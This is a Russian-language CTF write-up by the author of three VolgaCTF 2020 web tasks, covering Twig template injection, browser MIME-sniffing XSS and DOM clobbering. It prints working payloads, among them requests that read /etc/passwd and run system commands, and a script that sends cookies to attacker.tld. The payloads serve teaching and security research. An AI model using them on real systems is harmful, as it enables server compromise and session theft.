29 марта 2020

VolgaCTF 2020 Qualifier Writeup


Завершились очередные отборочные VolgaCTF 2020, для которых я написал 3 web задания. В процессе создания создания, тестирования тасков и мониторинга решений команд обнаружилось большое количество интересных особенностей, которые я решил описать в блоге.

Newsletter (web server side, 200pts)

Мини-задание с исходным кодом. Использовались свежие версии Symfony 5.0.5, Twig 3.0.3. Командам необходимо было найти вариант эксплуатации Server Side Template Injection, при этом чтобы он оставался валидным по RFC 5321, RFC 5322 (в реализации php).

public function subscribe(Request $request, MailerInterface $mailer)
{
  $msg = '';
  $email = filter_var($request->request->get('email', ''), FILTER_VALIDATE_EMAIL);
  if($email !== FALSE) {
    $name = substr($email, 0, strpos($email, '@'));

    $content = $this->get('twig')->createTemplate(
      "<p>Hello ${name}.</p><p>Thank you for subscribing to our newsletter.</p><p>Regards, VolgaCTF Team</p>"
    )->render();

    $mail = (new Email())->from('newsletter@newsletter.q.2020.volgactf.ru')->to($email)->subject('VolgaCTF Newsletter')->html($content);
    $mailer->send($mail);

Дополнительной сложностью была необходимость получать результат SSTI на email вида {{ssti}}@attacker.tld, но это решалось поднятием мини-SMTP сервера и настройкой DNS.

Чтобы увеличить количество разрешенных символов, можно использовать формат записи в двойных кавычках, например "{{ssti()}}"@attacker.tld.

Так как публичных способов эксплуатации SSTI в Twig 3 нет, я расчитывал что участники быстро найдут Twig Extensions Defined by Symfony и фильтр уязвимый к Arbitrary File Reading (именно по этому флаг был в /etc/passwd).

Таким образом запланированное решение:

POST /subscribe HTTP/1.1
Host: newsletter.q.2020.volgactf.ru
Content-Type: application/x-www-form-urlencoded

email="{{'/etc/passwd'|file_excerpt(1,30)}}"@attacker.tld

Но некоторые команды пошли дальше и даже получили Remote Code Execution, пример от @Paul_Axe из More Smoked Leet Chicken:

POST /subscribe?0=cat+/etc/passwd HTTP/1.1
Host: newsletter.q.2020.volgactf.ru
Content-Type: application/x-www-form-urlencoded

email="{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld

Order of the Grey Fang нашли возможность сделать Arbitrary File Read и Arbitrary File Write, но из-за ограничения по длине email не смогли использовать их для получения флага.
https://github.com/TeamGreyFang/CTF-Writeups/blob/master/VolgaCTF2020/Web-Newsletter/README.md

File Write
POST /subscribe?1=/tmp/x/ HTTP/1.1
email="{{app.request.files.get(1).move(app.request.query.get(1))}}"@attacker.tld

File Read
{{app.request.files.get(1).__construct('/etc/passwd','')}}
{{app.request.files.get(1).openFile.fread(99)}}

И самое неожиданное решение - RCE в Twig без привязки к Symfony Twig Extensions от команды OpenToAll.
https://ctftime.org/writeup/19230

"{{['cat${IFS}/etc/passwd']|filter('system')}}"@your.domain

User Center (web client side, 300pts)

В задании необходимо было составить цепочку из двух XSS для получения cookie с основного домена.

volgactf-task.ru - mail domain
api.volgactf-task.ru - api server
static.volgactf-task.ru - amazon s3, на котором хранятся аватары пользователей

Бот основан на Selenium + Firefox 74.0

XSS на static.volgactf-task.ru

Участники могли загружать файлы с произвольным Content-Type в качестве аватара. Файлы хранились на Amazon S3 и загружались через aws/aws-sdk-php.

Интересная особенность, которые я выявил при тестировании таска:
Firefox пытается угадать тип файла, если в заголовке Content-Type нет символа /. Причем X-Content-Type-Options: nosniff в данном случае никак не влияет, так как используется Firefox только при попытке подключить файлы с некорректными content-type в <script src=> и <link rel="stylesheet" href=>

Примеры:

https://blackfan.ru/volgactf_2G1w/mime-sniff.php?content-type=xxx&nosniff=0&xss=%3Chtml%3E%3Cs%3E123
https://blackfan.ru/volgactf_2G1w/mime-sniff.php?content-type=xxx&nosniff=1&xss=%3Chtml%3E%3Cs%3E123
https://blackfan.ru/volgactf_2G1w/mime-sniff.php?content-type=xxx/xxx&nosniff=0&xss=%3Chtml%3E%3Cs%3E123

Участникам необходимо было обойти следующие ограничения:

  1. Content-Type обязательно содержит / в первой части (до параметров)
  2. Content-Type не содержит подстрок html xml xsl в первой части (до параметров)

Запланированное решение - перебрать большой список mime-type и найти те, которые подходят по условиям и обрабатываются как text/html. Для этого можно использовать страницу с множеством iframe и просмотреть как Firefox отрендерит контент с каждым типом файла.

Примеры, которые я нашел:
Firefox text/rdf обрабатывается как XML (пример)

Content-Type: text/rdf

<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(document.domain)</a:script>

Firefox multipart/x-mixed-replace поддерживает HTML (пример)
Edge обрабатывает такой тип как обычный HTML если отсутсвует nosniff.

Content-Type: multipart/x-mixed-replace;boundary=xxx

xxx
Content-Type:text/html

<script>alert(document.domain)</script>
xxx--

Chrome text/xsl обрабатывается как XML (пример)

Content-Type: text/xsl

<a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(document.domain)</a:script>

Edge text/vtt обрабатывается как HTML (пример)

Content-Type: text/vtt

<script>alert(document.domain)</script>

Особенности обнаруженные участниками

Firefox */* угадывание типа по контенту (пример)

Content-Type: */*

<script>alert(document.domain)</script>

Chrome, Firefox text/plain;,text/html поддерживается указание нескольких Content-Type через запятую (пример)

Content-Type: text/plain;,text/html

<script>alert(document.domain)</script>

aws/aws-sdk-php уязвимо к CRLF Injection
Что в том числе это дает возможность указать "type":"text/htm\rl", обойти проверку и получить обычный html файл. Либо вытеснить / в следующий заголовок и сделать пустой Content-Type "type":"\r\nFoo:/", в результате чего Firefox определяет тип файла по контенту.
Уязвимый фрагмент кода:

$result = $s3->putObject([
  'Bucket'      => 'volgactf-task2-storage',
  'Key'         => $key,
  'Body'        => base64_decode($file),
  'ACL'         => 'public-read',
  'ContentType' => $type
]);

XSS на volgactf-task.ru

XSS на static поддомене позволяет атаковать основное приложение через добавление произвольных cookie.
Уязвимый фрагмент кода:

function replaceForbiden(str) {
  return str.replace(/[ !"#$%&Вґ()*+,\-\/:;<=>?@\[\\\]^_`{|}~]/g,'').replace(/[^\x00-\x7F]/g, '?');
}
...
api = 'api';
if(Cookies.get('api_server')) {
  api = replaceForbiden(Cookies.get('api_server'));
} else {
  Cookies.set('api_server', api, {secure: true});
}
...
function getUser(guid) {
  if(guid) {
    $.getJSON(`//${api}.volgactf-task.ru/user?guid=${guid}`, function(data) {
      if(!data.success) {
        location.replace('/profile.html');
      } else {
        profile(data.user);
      }
    });

jQuery поддерживает обработку ответа как JSONP с callback, если jsonp: false не задано явно. Изначально я узнал об этом из CTF задания SPA SECCON 2019 Quals. Но несмотря на то, что в документации указано callback=? на самом деле достаточно просто =? или ??.
Изменения регулярного выражения для callback:

>  1.7.2 /(=)\?(?=&|$)|\?\?/
<= 1.7.2 /(\=)\?(&|$)|\?\?/i
<= 1.5.1 /(\=)\?(&|$)|()\?\?()/i
<= 1.4.4 /\=\?(&|$)/
<= 1.4.2 /=\?(&|$)/
<= 1.2.1 /=(\?|%3F)/g
<  1.2   not supported

Примеры кода:

$.ajax({url:'https://attacker.tld/??', dataType:'json'});
$.ajax({url:'https://attacker.tld/=?&', dataType:'json'});
$.getJSON('https://attacker.tld??');
$.getJSON('https://??.attacker.tld');

Таким образом можно использовать callback даже в поддомене и единственный символ, который для этого необходим ?.

$.getJSON('https://??.attacker.tld');
=
https://jquery34104413374753421222_1585476699425.attacker.tld/?_=1585476699426

В задании функция replaceForbiden, также заменяла все не ASCII символы на ?.
Мое решение:

<script> 
document.cookie="api_server=attacker.tld�attack��; path=/profile.html; domain=.volgactf-task.ru";
location="https://volgactf-task.ru/profile.html"
</script>
if(strpos($_SERVER['QUERY_STRING'], 'attack') !== FALSE) {
  die('location="https://attacker.tld/?c="+document.cookie;');
}

При обработке данного значения Cookie будет произведен запрос на сервер атакующего и ответ обработан как JS код. Установка path необходима, чтобы cookie атакующего была в списке раньше оригинальной.

https://attacker.tld/?attackjQuery34102886072906354682_1585477379154&_=1585477379155

К сожалению я пропустил момент, что в ссылке также присутсвует guid и можно было решить чуть проще через =?:

<script> 
document.cookie="api_server=attacker.tld�; path=/profile.html; domain=.volgactf-task.ru";
location="https://volgactf-task.ru/profile.html?guid=?"
</script>

VolgaCTF Archive (web client side, 300pts)

Мини-таск на client side фишки, для которого нужно в эксплоите написать больше JavaScript, чем есть в самом задании.
Бот основан на Selenium + Chrome 80.

Уязвимый фрагмент кода:

$(window).on('hashchange', function(e) {
  volgactf.activePage.location=location.hash.slice(1);
  ...
  $('#page').attr('src',volgactf.pages[volgactf.activePage.location]);

Объект volgactf определен в отдельном JS файле и подгружается по относительному пути js/main.js.

Краткое описание решения выглядит так:

  1. Заблокировать загрузку js/main.js, чтобы объект volgactf был undefined
  2. Используя Frame Hijacking + DOM Clobbering сделать так, чтобы volgactf.activePage был iframe с origin archive.q.2020.volgactf.ru
  3. Обновить location страницы изменив только hash на #javascript:alert(document.domain), чтобы вызвать событие hashchange

Блокировка js/main.js

Относительный путь в браузере определяется от начала location.pathname до последнего /. В то время как веб-сервер часто дополнительно нормализует URL-кодированное значение в пути. Таким образом если запросить:

https://archive.q.2020.volgactf.ru/x/..%2F

Nginx нормализует путь и корректно обработает запрос как /index.html. А браузер попытается запросить main.js по пути /x/js/main.js. В результате чего объект volgactf не будет создан.

Примеры блокировки от участников:
Дополнение Request-URI таким количеством /, чтобы запрос на index был обработан корректно, а добавленный js/main.js переполнял URI.

https://archive.q.2020.volgactf.ru////[.....]/////              200 OK

https://archive.q.2020.volgactf.ru////[.....]/////js/main.js    414 Request-URI Too Large

Рекомендуется почитать:
Detecting and exploiting path-relative stylesheet import (PRSSI) vulnerabilities

Frame Hijacking

Так как в задании не используется заголовок X-Frame-Options - страницу можно завернуть в <iframe> на сайте атакующего и, таким образом, получить возможность изменить значение location у внутреннего iframe на странице задания.

https://i.imgur.com/msgmTdw.png
Рекомендуется почитать:
HTML 5.2 Security infrastructure for Window, WindowProxy, and Location objects
The Tangled Web by Michal Zalewski, Chapter 11. Life Outside Same-Origin Rules

DOM Clobbering

Рекомендуется почитать:
HTML 5.2 Named access on the Window object
DOM Clobbering
DOM Clobbering Strikes Back

Браузеры позволяют обращаться к DOM элементам через window по указанным id и name (для некоторых тегов).

<div id="test1">
alert(window.test1)
alert(test1)

<iframe src="test" name="test2"></iframe>
alert(test2)

<iframe src="data:text/html,<script>window.name='test3'</script>"></iframe>
alert(test3) // Uncaught DOMException: Blocked a frame with origin "https://attacker.tld" from accessing a cross-origin frame.

Причем для Chrome это также работает, если iframe сам устанавливает window.name. Более того, window.name сохраняется при изменении iframe location.

Решение

https://i.imgur.com/TrO0qLl.png

  1. Заворачиваем https://archive.q.2020.volgactf.ru/x/..%2F в iframe
  2. Изменяем location window.frames[0].frames[0] на контролируемый ресурс
  3. Изменяем во внутреннем iframe window.name на volgactf
  4. Добавляем <iframe name=activePage src=https://archive.q.2020.volgactf.ru/>
  5. Изменяем у основного iframe location на https://archive.q.2020.volgactf.ru/x/..%2F#javascript:xss

Пример

<iframe src='https://archive.q.2020.volgactf.ru/x/..%2f'></iframe>
<script>
window.onload=function (){
  frames[0].frames[0].location='data:text/html;base64,PGlmcmFtZSBuYW1lPWFjdGl2ZVBhZ2Ugc3JjPWh0dHBzOi8vYXJjaGl2ZS5xLjIwMjAudm9sZ2FjdGYucnUvP2FhYT48L2lmcmFtZT48c2NyaXB0PndpbmRvdy5uYW1lPSd2b2xnYWN0Zic7PC9zY3JpcHQ+';
  setTimeout(function(){frames[0].location='https://archive.q.2020.volgactf.ru/x/..%2f#javascript:alert(document.domain)'},1000)
}
</script>

UPDATE 17.04.2020: В Firefox 75 сделали более строгую обработку X-Content-Type-Options, которая теперь поддерживает обычную загрузку страниц с неправильным Content-Type, а не только подключение файлов как JS или CSS, в результате чего некоторые из указанных фишек перестали работать, например Content-Type без символа / и Content-Type */*.